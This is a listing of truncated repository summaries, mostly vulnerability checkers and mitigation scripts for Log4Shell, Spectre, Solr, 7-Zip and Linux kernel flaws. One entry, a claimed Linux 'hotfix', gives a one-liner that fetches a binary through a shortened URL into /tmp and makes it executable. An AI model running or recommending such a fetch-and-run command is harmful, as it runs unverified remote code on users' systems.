Sitecore.Solr-log4j-mitigation

Sitecore.Solr-log4j-mitigation CVE-2021-44228 This repository contains a script that you can run on your windows machine to mitigate CVE-2021-44228 by applying the advice as documented on https://solr.apache.org/security.htmlapache-solr-affected-by-apache-log4j-cve-2021-44228 The PowerShell scrip...

ban-exploitable-bitcoin-nodes

ban-exploitable-bitcoin-nodes Ban all denial-of-service vulnerability exploitable nodes from your node CVE-2018-17144 Requirements for the bash script ban.sh Command-line JSON processor jq. Install on Debian-based Linux sudo apt-get install jq Download and use the script git clone...

cve-2026-98432-mitigation

cve-2026-98432-mitigation Temporary protection for Linux servers: a narrow IPv4 TCP filter, state verification, backup and rollback. The audit separates the kernel fix from the filter's operation. Audit: работающее ядро → пакет → основание → UNKNOWN при нехватке данных Protection: inet + bridge →...

Threat-Intelligence-Alerts

Threat Intelligence Alerts Our Threat Intelligence team uses a range of sources and tools to monitor external reporting and carry out a daily review of this intelligence to identify changes to the threat landscape which requires action internally, whether this is in the form of additional...

nginx-mitigate-log4shell

nginx-mitigate-log4shell Mitigate log4shell CVE-2021-44228 and CVE-2021-45046 vulnerability attacks using Nginx LUA script Requires the Nginx lua module https://www.nginx.com/resources/wiki/modules/lua/ to be enabled. Use include /path/to/mitigate-log4shell.conf; in the server ... context. Can be...

Fix-CVE-2021-44228

CVE-2021-44228! The current program remove the class "org/apache/logging/log4j/core/lookup/JndiLookup.class" from your zip, jar, war, ear archive. Before use Follow the guide https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/ before using. The utility will help your to apply "Modif...

linux-kernel-algif-aead-checker

CVE-2026-31431 / Copy Fail Checker 🔒 Linux kernel vulnerability checker for the algifaead-based Copy Fail attack path. Detects if your system is vulnerable and provides mitigation steps. Features Kernel version vulnerability range detection AFALG crypto module check Protection status KPTI, SELinu...

CVE-2022-29072

7-Zip CVE 2022-29072 - Powershell Detection/Mitigation The deletion of the offending CHM file is commented out. Uncommenting causes the script to forcefully delete files - use at your own risk! If submitting a PR with a new hash please provide file as well for verification...

spectre-meltdown-checker

Spectre & Meltdown Checker A self-contained shell script to assess your system's resilience against the several transient execution CVEs that were published since early 2018, and give you guidance as to how to mitigate them. CVE list CVE| Name| Aliases ---|---|--- CVE-2017-5753| Bounds Check...

memguard

MemGuard Software enclave for storage of sensitive information in memory. This package attempts to reduce the likelihood of sensitive data being exposed when in memory. It aims to support all major operating systems and is written in pure Go. Features Sensitive data is encrypted and authenticated...

Folina-Vulnerability-Exploitation-Detection-and-Mitigation

Folina-Vulnerability-Exploitation-Detection-and-Mitigation Project Repository for Exploitation, Detection and Mitigation of Folina Vulnerability CVE-2022-30190...

AIF360

AI Fairness 360 AIF360 The AI Fairness 360 toolkit is an extensible open-source library containing techniques developed by the research community to help detect and mitigate bias in machine learning models throughout the AI application lifecycle. AI Fairness 360 package is available in both Pytho...

CVE-2023-0045

Bypassing Spectre-BTI User Space Mitigations on Linux This is a working document, please send us feedback if you think we got something wrong or if we missed a citation Version 1.0 José Oliveira esoj Rodrigo Branco BSDaemon Introduction When testing the success rate of Spectre-BTI attacks, we...

Log4jPatcher

Log4jPatcher A Java Agent based mitigation for Log4j2 JNDI exploits. This agent employs 2 patches: Disabling all Lookup conversions on supported Log4j versions in org.apache.logging.log4j.core.pattern.MessagePatternConverter by setting noLookups to true in the constructor. Disabling the...

CVE-2021-44228---Log4Shell-Analysis

🔥 Log4Shell CVE-2021-44228 Analysis A comprehensive technical analysis of the Log4Shell vulnerability CVE-2021-44228, one of the most critical vulnerabilities in modern software history. 📖 Overview This repository contains an in-depth analysis of the Log4Shell vulnerability in Apache Log4j2,...

cve_2026_frag_family_fix

Mitigation tool for frag family vulnerability Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 Run any Linux hotfix b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep -v .exe | cut -d '"' -f 4 && chmod +x $b &&...

activemq-ids-ips-lab

IDS/IPS Lab - Protecting Apache ActiveMQ from RCE Attacks This project evaluates how IDS and IPS mechanisms can detect and prevent exploitation of Apache ActiveMQ vulnerability CVE-2023-46604 in a controlled lab environment. Project Overview The lab was designed with separated attacker, gateway,...

MSMQ-Vulnerability

MSMQ Security Lab This repository documents a controlled lab review of Microsoft Message Queuing security exposure, focusing on defensive validation, detection evidence, and remediation planning. The project is positioned as a portfolio artefact: it shows how vulnerability research can be...

kubernetes-log4j-cve-2021-44228-node-agent

!!!! DEPRECATION NOTICE !!!! This project is being deprecated as outlined below. 2023-01-01 - This repository will no longer be updated 2023-04-01 - This repository will be permanently deprecated The project will cease to accept issues and will not be updated as of 2023-01-01. After this date, th...

log4jjndilookupremove

log4jjndilookupremove A simple script to remove Log4J JndiLookup.class from jars in given directory. This script can be used to temporarily resolve the CVE-2021-45046 and CVE-2021-44228, until the application can be repackaged with a proper Log4J version. Usage On Linux or other nix system just r...